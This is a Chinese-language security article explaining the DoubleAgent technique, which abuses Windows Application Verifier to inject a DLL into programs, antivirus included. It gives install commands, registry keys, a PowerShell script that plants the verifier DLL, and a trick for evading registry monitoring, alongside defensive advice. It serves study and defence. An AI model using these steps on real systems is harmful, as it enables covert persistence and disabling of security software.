滲透測試中的Application Verifier(DoubleAgent利用介紹)

0x00 前言

近日,Cybellum Technologies LTD公開了一個0-day漏洞的POC,對其命名為「DoubleAgent」,可用於控制主流的殺毒軟體。

不同於以往的繞過思路,這次使用的是一種直接攻擊並劫持的方式,本文將要介紹該方式的原理,分享利用思路、攻擊條件和防禦方法

Cybellum的博客鏈接如下:

DoubleAgent: Taking Full Control Over Your Antivirus | Cybellum

DoubleAgent: Zero-Day Code Injection and Persistence Technique | Cybellum

POC:

Cybellum/DoubleAgent

0x01 簡介

該方式主要是對微軟系統自帶的Application Verifier(應用程序檢驗器)進行利用

利用過程如下:

- 編寫自定義Verifier provider DLL

- 通過Application Verifier進行安裝

- 注入到目標進程執行payload

- 每當目標進程啟動,均會執行payload,相當於一個自啟動的方式

Application Verifier支持系統:WinXP-Win10

理論上,該利用方式支持WinXP-Win10,但是POC提供的dll在部分操作系統下會報錯,修復方法暫略,本文僅挑選一個默認成功的系統進行測試——Win8.1 x86

0x02 application verifier

是針對非託管代碼的運行時驗證工具,它有助於找到細小的編程錯誤、安全問題和受限的用戶帳戶特權問題,使用常規的應用程序測試技術很難識別出這些錯誤和問題

註:

類似於Application Compatibility Shims,可以理解為一種補丁機制。更多基礎概念可參考微軟官方文檔,地址如下:

在軟體開發生命周期中使用應用程序驗證器

測試系統:Win8.1 x86(默認支持application verifier)

cmd輸入(管理員許可權):appverif

進入控制界面,通過面板查看配置驗證器

添加一個測試程序,可對其檢測和調試內存損壞、危險的安全漏洞以及受限的用戶帳戶特權問題

通過命令行也能夠實現相同的操作

命令行添加:

appverif /verify notepad.exe

命令行刪除:

appverif /n notepad.exe

註:

對於運行中的進程,不能安裝application verifier

0x03 實際測試

POC編譯環境搭建:

安裝VS2017

安裝Windows SDK for Windows 8.1

測試系統:Win8.1 x86

POC添加shellcode:

MessageBox(NULL, NULL, NULL, 0);

部分代碼如下:

static BOOL main_DllMainProcessAttach(VOID){DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;MessageBox(NULL, NULL, NULL, 0);DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);return FALSE != DOUBLEAGENT_SUCCESS(eStatus);}

編譯後將DoubleAgent_x86.exe和x86DoubleAgentDll.dll放於同級目錄下

cmd下:(管理員許可權)

安裝:

DoubleAgent_x86.exe install notepad.exe

卸載:

DoubleAgent_x86.exe uninstall notepad.exe

pad.exe,彈框,之後正常啟動notepad.exe

安裝成功後,在面板中也可以看到安裝的verifier

cmd輸入appverif

如果想要劫持非系統默認安裝的程序,那麼該程序需要存放於system32文件夾下(或者新建快捷方式存放於system32並指向原程序)

需要先將DoubleAgentDll.dll複製到system32下,再通過命令行安裝

註冊表位置:

[HKEY_LOCAL_MACHINE//SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe]

鍵值信息如下:

"GlobalFlag"="0x100""VerifierDlls"="DoubleAgentDll.dll"

如果刪除該註冊表鍵值,那麼verifier失效

註:

查看poc源碼發現安裝操作是通過新建註冊表鍵值的方法

所以下面嘗試通過腳本新建註冊表鍵值來實現verifier的安裝:

1、powershell測試代碼實現註冊表鍵值的添加

New-Item -itemType DWord "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe"New-ItemProperty -path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -name GlobalFlag -propertytype Dword -value 0x100New-ItemProperty -path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -name VerifierDlls -propertytype String -value DoubleAgentDll.dll

2、將測試dll複製到system32下

copy DoubleAgentDll.dll c:windowssystem32DoubleAgentDll.dll

3、再次啟動notepad.exe,彈框

代表verifier被安裝

4、刪除verifier的powershell代碼:

Del "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -recurse

註:

部分殺毒軟體會對註冊表HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options進行監控

繞過方法:

新建一個任意名稱的註冊表鍵值,再重命名為目標程序

0x04 分析

利用方式:

dll注入

自啟動

主要用於後滲透階段

特別的地方:

繞過殺毒軟體的攔截,並能夠對殺毒軟體本身進行注入,使殺毒軟體本身失效或者對其利用

攻擊條件:獲得管理員許可權

POC——>EXP:

參照其中DoubleAgentDll工程生成dll,通過powershell或其他腳本實現安裝利用

防禦方法:

監控註冊表鍵值HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

控制管理員許可權

查看system32下有無可疑dll

0x05 小結

本文對「DoubleAgent」的原理、利用思路、攻擊條件和防禦方法作了簡要介紹,希望能夠幫助大家

本文為 3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: 滲透測試中的Application Verifier(DoubleAgent利用介紹) 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

纏論構建的數學體系與反身性理論矛盾?
根據策略尋找環境(行情),還是根據環境(行情)制定策略?
深度剖析Struts2遠程代碼執行漏洞(CVE-2017-5638)
乾貨滿滿:高槓桿環境下日內CTA策略探討(匯眼見識會)

TAG:PowerShell | 技术分析 |